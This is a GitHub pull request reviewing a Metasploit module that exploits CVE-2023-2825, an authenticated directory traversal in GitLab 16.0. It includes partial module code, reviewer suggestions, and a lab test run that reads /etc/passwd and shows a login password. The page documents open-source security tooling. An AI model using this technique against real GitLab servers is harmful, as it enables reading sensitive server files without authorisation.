Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

gitlab file read CVE-2023-2825 #18039

Merged
merged 9 commits into from Jun 7, 2023
Merged

Conversation

h00die
Copy link
Contributor

@h00die h00die commented May 29, 2023

Fix #18038

This PR adds an exploit for an authenticated arbitrary file read on Github 16.0 (exclusively). This is a 6-day exploit.

Verification

  • Start msfconsole
  • Do: use auxiliary/scanner/http/gitlab_subgroups_file_read
  • Do: set rhosts [ip]
  • Do: set username [username]
  • DO: set password [password]
  • Do: run
  • You should be able to read an arbitrary file.
  • Document looks good

Comment on lines 5 to 7
When exploiting this vulnerability, a group (or subgroup under the group) must be created
for each level of the traversal. If the depth is 11 for the dir traversal, then a group
and 10 sub-groups will be created. Lastly a project is created for that subgroup.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't explain the depth level needed and last I checked there was some minimum required. Can you elaborate on this more here in your explanation? The required level is a bit vague from what you have described here.

'Vitellozzo', # PoC on github
],
'References' => [
['URL', 'https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

According to this, the bug is unauthenticated and allows one to read arbitrary files on the server when an attachment exists in a public project nested within at least five groups. This seems like two problems here:

  1. We shouldn't need authentication to exploit this, yet it seems like we are authenticating to exploit this vulnerability.
  2. We fail to explain this 5 level nesting requirement.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

According to the PoC:

Unauthenticated users can only exploit this vulnerability on public repositories matching the nested group requirements. Authentication is required to access the repository itself.

Copy link
Contributor Author

@h00die h00die May 31, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

While this is true, I've never seen a gitlab which didn't require authentication during my pentests, let alone one with a minimum of 5 nested groups. I figured that was such a far shot, it wasn't worth coding in.

I think it may be better to have 2 exploits, an unauth and an auth one for this. Trying to loop through every project, check the groups depth, check if you can upload a file seems like a lot of code and looping that would significantly clutter this module.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sounds good to me just thought I'd call it out. I think we can skip the authentication point then but I would still like to see an explanation of the 5 level nesting requirement somewhere in the module to give people some more context to this bug.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'll do a git mv and rename these to gitlab_authenticated_subgroups_file_read to be more clear about the requirement as well

Comment on lines 64 to 65
body =~ /"csrf-token" content="([^"]+)"/
::Regexp.last_match(1)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There is no guarentee here that the body contains this content yet you assume it does and then go on to trying to grab the last match assuming that it isn't nil. Whilst thankfully this doesn't cause things to crash, its bad practice to not throw an error here if the regex doesn't match what you expect it to match.

This is further seen when you go and look at where get_csrf is used, as all of its callers assume that it can never return an error. You might be able to fix by changing this to a body.match(/*REGEX*/) call and then checking the result isn't nil before accessing the group specific results.

info: [version]
)
return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What about Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError or Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError from https://sourcegraph.com/github.com/rapid7/metasploit-framework/-/blob/lib/msf/core/exploit/remote/http/gitlab/rest/v4/version.rb?L13-14

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

should both be caught by the next rescue for Msf::Exploit::Remote::HTTP::Gitlab::Error?

})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302
csrf_token = get_csrf(res.body)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should be checking that res.body isn't empty.

fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302
csrf_token = get_csrf(res.body)

project_id = res.headers['Location'].to_s.split('/')[3..].join('/') # strip off http[s]://ip/, seems like there should be a better way to do this though
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This assumes that the Location header will contain at least 3 /'s which may not be the case if its something like https://www.google.com

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200
res = res.get_json_document
file_url = res['link']['url']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You should really be using res.dig('link', 'url') or similar here in case these entities don't exist in the response and then checking file_url to make sure its not nil afterwards.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

didn't know about dig, nice!

Comment on lines 206 to 214
if !res.body.empty? && res.code == 200
print_good(res.body)
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])
print_good("#{datastore['FILE']} saved to #{loot_path}")
elsif res.body.empty?
print_error('Response has 0 size.')
else
print_error('Bad response, initiating cleanup')
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if !res.body.empty? && res.code == 200
print_good(res.body)
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])
print_good("#{datastore['FILE']} saved to #{loot_path}")
elsif res.body.empty?
print_error('Response has 0 size.')
else
print_error('Bad response, initiating cleanup')
end
if res.body.empty?
print_error('Response has 0 size.')
elsif res.code == 200
print_good(res.body)
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])
print_good("#{datastore['FILE']} saved to #{loot_path}")
else
print_error('Bad response, initiating cleanup')
end

Suggested simplification of logic here.

@sempervictus
Copy link
Contributor

6-day on something used by a group of people who would argue about how to patch their leaky life raft is pretty brave 😉 - thanks for getting this published, really helps when having conversations w/ members of the aforementioned group.

info,
'Name' => 'GitLab Authenticated File Read',
'Description' => %q{
Gitlab version 16.0 contains an authenticated directory traversal for arbitrary file read as the gitlab user.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
Gitlab version 16.0 contains an authenticated directory traversal for arbitrary file read as the gitlab user.
GitLab version 16.0 contains an authenticated directory traversal for arbitrary file read as the 'gitlab' user.

OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal (also groups creation)', 11]),
OptString.new('File', [true, 'File to read', '/etc/passwd'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
OptString.new('File', [true, 'File to read', '/etc/passwd'])
OptString.new('FILE', [true, 'File to read', '/etc/passwd'])

References to this datastore option will also need to be updated. Non-advanced options should be SCREAMING_SNAKE_CASE.


if !res.body.empty? && res.code == 200
print_good(res.body)
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])
loot_path = store_loot('GitLab file', 'text/plain', ip, res.body, datastore['FILE'])

@SelLa70

This comment was marked as off-topic.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please refactor this as a gather module. We are working on expanding docs to be clear on this, with support for RHOSTS we would like to push scanners to be a in two categories fingerprinting/check or login_scanner.

Refactor will enabled support for a check method that can be used in combination with RHOSTS to also have this act as a true scanner for the issue without actually exercising it.

#18003 (comment)

@gwillcox-r7 gwillcox-r7 removed their assignment Jun 1, 2023
@h00die
Copy link
Contributor Author

h00die commented Jun 1, 2023

I'm going to go ahead and move this back to a draft since the changes are substantial

@h00die h00die marked this pull request as draft June 1, 2023 20:44
@h00die
Copy link
Contributor Author

h00die commented Jun 2, 2023

I believe I've hit all the required changes, but i'm sure I missed something or introduced a new problem

@h00die h00die marked this pull request as ready for review June 2, 2023 22:08
@cdelafuente-r7 cdelafuente-r7 self-assigned this Jun 5, 2023
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @h00die! I just left a few comments and suggestions for you to review when you get a chance. Otherwise, it looks good and it works great! Thank you for refactoring it into a gather module.

return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
return Exploit::CheckCode::Detected('Could not detect the version because authentication failed.')
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Msf::Exploit::Remote::HTTP::Gitlab::Error is a module and I don't think this will catch the potential exceptions raised by gitlab_sign_in. According to the GitLab mixin error file, the parent class of all these exceptions is Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.

Suggested change
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e


# grab our parent group ID for nesting
res.body =~ /data-clipboard-text="([^"]+)" type="button" title="Copy group ID"/
parent_id = ::Regexp.last_match(1)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A good practice here would be to check if parent_id is nil and fail if it is. This might be possible that this module is run against a different version of GitLab with a different HTML response, which would make the regex fail.

Suggested change
parent_id = ::Regexp.last_match(1)
parent_id = ::Regexp.last_match(1)
fail_with(Failure::UnexpectedReply, "#{peer} - Cannot retrieve the parent ID from the HTML response") unless parent_id

})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302
# csrf_token = get_csrf(res.body)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If this commented statement is not required, it should be removed.

Suggested change
# csrf_token = get_csrf(res.body)

})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 500
print_error("Unable to read file (permissions, or file doens't exist)")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
print_error("Unable to read file (permissions, or file doens't exist)")
print_error("Unable to read file (permissions, or file doesn't exist)")

To retrieve the default password:

```
sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password[*] Processing gitlab.rb for ERB directives.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think it is a typo:

Suggested change
sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password[*] Processing gitlab.rb for ERB directives.
sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password
```
Run the module:
```
[*] Processing gitlab.rb for ERB directives.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

yea looks like a bad copy pasta when i went to put in a fresh run after all the changes

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Gitlab
include Msf::Auxiliary::Report
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this module could benefit of the AutoCheck mixin to have the check method run automatically before the exploit is launched.

Suggested change
include Msf::Auxiliary::Report
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

end

begin
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you decide to use the AutoCheck mixin, the check method will be executed before run, unless AutoCheck is set to false. Since this method already signs the user in, maybe it would be a good idea to add some logic that avoid signing again here. For example, storing the authentication cookie in an instance variable and checking this variable before calling gitlab_sign_in.

@cdelafuente-r7
Copy link
Contributor

Thanks @h00die for updating this. Everything looks good to me now. I tested against GitLab version 16.0.0 on Ubuntu 20.04.4 and it works great. I'll go ahead and land it.

Example output

msf6 auxiliary(gather/gitlab_authenticated_subgroups_file_read) > run verbose=true rhosts=192.168.100.119 username=root password=1jwnBU+k5MiMfzkUqtMZ7o9NcoD0orN1horHWKhVKGc=
[*] Running module against 192.168.100.119

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Trying to get the GitLab version
[+] The target appears to be vulnerable. Detected GitLab version 16.0.0 which is vulnerable.
[+] CSRF Token: 5bX2uwt3RY6N8Iw4m23N7Aby1YoaLJdt245I7LiEkYmrZcNUqVWoJ5Gnx5I3L3_wKNW_vUSf0rdRcCZVa4NOzA
[*] Creating 11 groups
[*] Creating group: 3JN3bIh7
[+] CSRF Token: v18_0T7dfQgcI80nMGVQVNzP-0rIm5Ul7vnzDWxIfUbxjwo-nP-QoQB0ho2cJ-JI8uiRfZYo0P9kB520v0-iAw
[*] Creating child group: LuL9uawW with parent id: 74
[+] CSRF Token: P4lNhfWcBAq0C3jm6MwlVx0ImcpAeBRgySxstGw6NC1xWXhqV77po6hcM0xEjpdLMy_z_R7LUbpD0gINvz3raA
[*] Creating child group: IELnexek with parent id: 75
[+] CSRF Token: H6thKrkqDaqqvcKxz2ufPO7hghvKnsZEkhoFEmc96pdRe1TFGwjgA7bqiRtjKS0gwMboLJQtg54Y5GurtDo10g
[*] Creating child group: Gxy6XRSN with parent id: 76
[+] CSRF Token: j3eEZyEysdNQlxUziX-udQ-YB128SGMKETLXW_3guFrBp7GIgxBcekzAXpklPRxpIb9tauL7JtCbzLniLudnHw
[*] Creating child group: 7t3GvIyt with parent id: 77
[+] CSRF Token: b-scPM2BGG1CHz76YcoLIIR5-KadUXgj_IhXtL575OAhOynTb6P1xF5IdVDNiLk8ql6SkcPiPfl2djkNbXw7pQ
[*] Creating child group: 4XkYKb4z with parent id: 78
[+] CSRF Token: tnq0oc1RzEoaQ9Ycd2ulM6_jtbWDqeUfJSCP1oXssW34qoFOb3Mh4wYUnbbbKRcvgcTfgt0aoMWv3uFvVutuKA
[*] Creating child group: GtlAA7S6 with parent id: 79
[+] CSRF Token: OixMz4I-f5TlNguBRhiHl_KN2jBpL_EYgbAYJG1Kdax0_HkgIBySPflhQCvqWjWL3KqwBzectMILTnadvk2q6Q
[*] Creating child group: FIgLw6iS with parent id: 80
[+] CSRF Token: z4nGz_ZGMByWMI54gGwy4EDHe6an97H76hZV4A1uJcaBWfMgVGTdtYpnxdIsLoD8buARkflE9CFg6DtZ3mn6gw
[*] Creating child group: g5lTPVrs with parent id: 81
[+] CSRF Token: Gcxi3QhQyFhBA0b3Xs1BhyreiwJXJGIUWbOfIMZVo8VXHFcyqnIl8V1UDV3yj_ObBPnhNQmXJ87TTfGZFVJ8gA
[*] Creating child group: uBo6XLgI with parent id: 82
[+] CSRF Token: W2c0Jx2vTX_Raro1RgkTVHOFqxK9xWLSC7FsXxL8RiYVtwHIv42g1s098Z_qS6FIXaLBJeN2JwiBTwLmwfuZYw
[*] Creating child group: yKqBI7qD with parent id: 83
[+] CSRF Token: MWJXj9RnTXsCf3t2jJCfQJ30Ea7zTt0ZtAz4F-gsQy5_smJgdkWg0h4oMNwg0i1cs9N7ma39mMM-8pauOyucaw
[*] Creating project CNfBbUIe
[*] Creating a dummy file in project
[*] Executing dir traversal
[+] root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
...[redacted]...

[+] /etc/passwd saved to /home/msfuser/.msf4/loot/20230607130228_default_192.168.100.119_GitLabfile_293936.txt
[*] Deleting group 3JN3bIh7
[*] Auxiliary module execution completed
msf6 auxiliary(gather/gitlab_authenticated_subgroups_file_read) > loot

Loot
====

host             service  type         name         content     info  path
----             -------  ----         ----         -------     ----  ----
192.168.100.119           GitLab file  /etc/passwd  text/plain        /home/msfuser/.msf4/loot/20230607130228_default_192.168.100.119_GitLabfile_293936.txt

@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Jun 7, 2023
@cdelafuente-r7 cdelafuente-r7 merged commit f88cb3b into rapid7:master Jun 7, 2023
31 checks passed
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds an exploit leverages an authenticated arbitrary file read on Github 16.0.0. This vulnerability is identified as CVE-2023-2825.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

Gitlab 16.0.0 authenticated arbitrary file read (CVE-2023-2825)
7 participants